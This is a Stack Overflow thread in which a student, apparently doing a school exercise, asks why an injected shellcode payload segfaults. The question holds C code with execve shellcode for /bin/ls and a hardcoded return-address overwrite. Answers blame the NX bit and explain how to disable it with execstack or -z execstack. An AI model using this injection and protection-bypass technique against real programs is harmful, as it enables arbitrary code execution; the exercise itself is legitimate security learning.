Causing a buffer overflow, segfault

Question

I'm trying to cause a buffer overflow in the following, very simple, program:

#include <stdio.h>
#include <stdint.h>

void badf(int n, char c, char* buffer)
{

    char mycode[] = {
0xeb, 0x0f, 0xb8, 0x0b,
0x00, 0x00, 0x00, 0x8b,
0x1c, 0x24, 0x8d, 0x0c,
0x24, 0x31, 0xd2, 0xcd,
0x80, 0xe8, 0xec, 0xff, 
0xff, 0xff, 0x2f, 0x62,
0x69, 0x6e, 0x2f, 0x6c, 
0x73, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00
}; // 37 bytes

// Overwrite Base Pointer
    //mycode[37] = 0x29;
//mycode[38] = 0xf4;
//mycode[39] = 0xff;
//mycode[40] = 0xbf;

    // Overwrite Instruction Pointer
    // Using debugger, found mycode[] to be loaded in: 0xbffff42d
    mycode[41] = 0x2d;
    mycode[42] = 0xf4;
    mycode[43] = 0xff;
    mycode[44] = 0xbf;

}

void f(int n, char c)
{
    char buffer[37];    
    badf(n,c,buffer);
}

void test()
{
    printf("test");
}

int main()
{
    f(37,0x00);
    return 0;
}

(I've successfully managed to execute test() from the buffer overflow before) Now I'm trying to execute mycode[] by overwriting the instruction pointer with the start of mycode in the stack.

This only half works, the program jumps to the right address, where I can see the correct machine code in the debugger, but then crashes with a segmentation fault, instead of executing the following instructions (see screenshot).

enter image description here

I'm trying to figure out why he crashes before executing the contents of the "injected" code. I'm relatively new to this sort of stuff, I understand segmentation fault means I'm attempting to access memory the OS doesn't want me to?

(PS: 32bit Linux machine, compiling with -fno-stack-protector so I can play with this stuff)

(If any more info is needed I will gladly update the post)

Did you solve your problem? I have the same issue

Kennet Celeste
– Kennet Celeste

2017-03-14 16:35:17 +00:00
Commented Mar 14, 2017 at 16:35 — Kennet Celeste
– Kennet Celeste, Commented Mar 14, 2017 at 16:35

gnometorule · Accepted Answer · 2013-11-18 18:32:57Z

3

If it's Linux, you can probably make it work by downloading and installing execstack, and follow the instructions here. The segmentation fault is probably a result from your elf binaries by default setting the nx bit, which exectstack selectively undoes. If this doesn't work, you might trigger additional protections, which you may or may not be able to disable.

answered Nov 18, 2013 at 18:32

gnometorule

2,1394 gold badges20 silver badges30 bronze badges

Sign up to request clarification or add additional context in comments.

7 Comments

Juicy Over a year ago

I tried compiling with: "gcc -z execstack -fno-stack-protector -g -static -o bof bof.c" which should do the same no?

gnometorule Over a year ago

@Juicy: this wouldn't work on my distro. Execstack needed to be separately downloaded and installed, and you use it execstack -s <binary name>. You occasionally see the syntax you write suggested, but it doesn't work for me.

gnometorule Over a year ago

It's in the repositories though (for my distro); so simply doing sudo apt-get install execstack should take care of install and configuration.

Juicy Over a year ago

Thank you! Gave that a try but it's still giving me the seg fault. I believe, as I told dan3, that I've actually done what my lecturer wanted, it's not working on my Debian but hopefully will work on our Uni's Ubuntus.

Juicy Over a year ago

Well the code that shows up in the debugger at that address is exactly the machine code I tried to inject (system call to execv), so it seems like the right code at the right address

|

dan3 · Accepted Answer · 2013-11-18 18:33:45Z

3

This sort of exciting trick doesn't work nowadays anymore, sadly. Blame the virus people.

Data segments are marked with the NX (no execute) bit -- which is what triggers the segfault. CPU sees PC in a no-execute region.

Why don't you try overwriting the code of a "real" function pointer (take the address of an existing function) and see what happens (this will possibly fail because self-modifying code is also frowned upon by the compiler / linker / OS, also due to above-mentioned virus people)

edited Nov 18, 2013 at 18:33

answered Nov 18, 2013 at 18:23

dan3

2,55922 silver badges21 bronze badges

2 Comments

Juicy Over a year ago

Ok thank you. This is actually for an exercise for school but I'm doing it at home. Do you think I can conclude that I've successfully injected the code and redirected the instruction pointer, but that my modern Debian distro is preventing this for happening?

dan3 Over a year ago

You can only conclude that you've successfully injected some machine code into a variable, then failed to execute it. Perhaps it would have worked were it not for the NX protections, perhaps not. Update: see suggestion in edited answer

Collectives™ on Stack Overflow

Causing a buffer overflow, segfault

2 Answers 2

7 Comments

2 Comments

Your Answer

Hot Network Questions

Collectives™ on Stack Overflow

2 Answers 2

7 Comments

2 Comments

Your Answer

Sign up or log in

Post as a guest

Related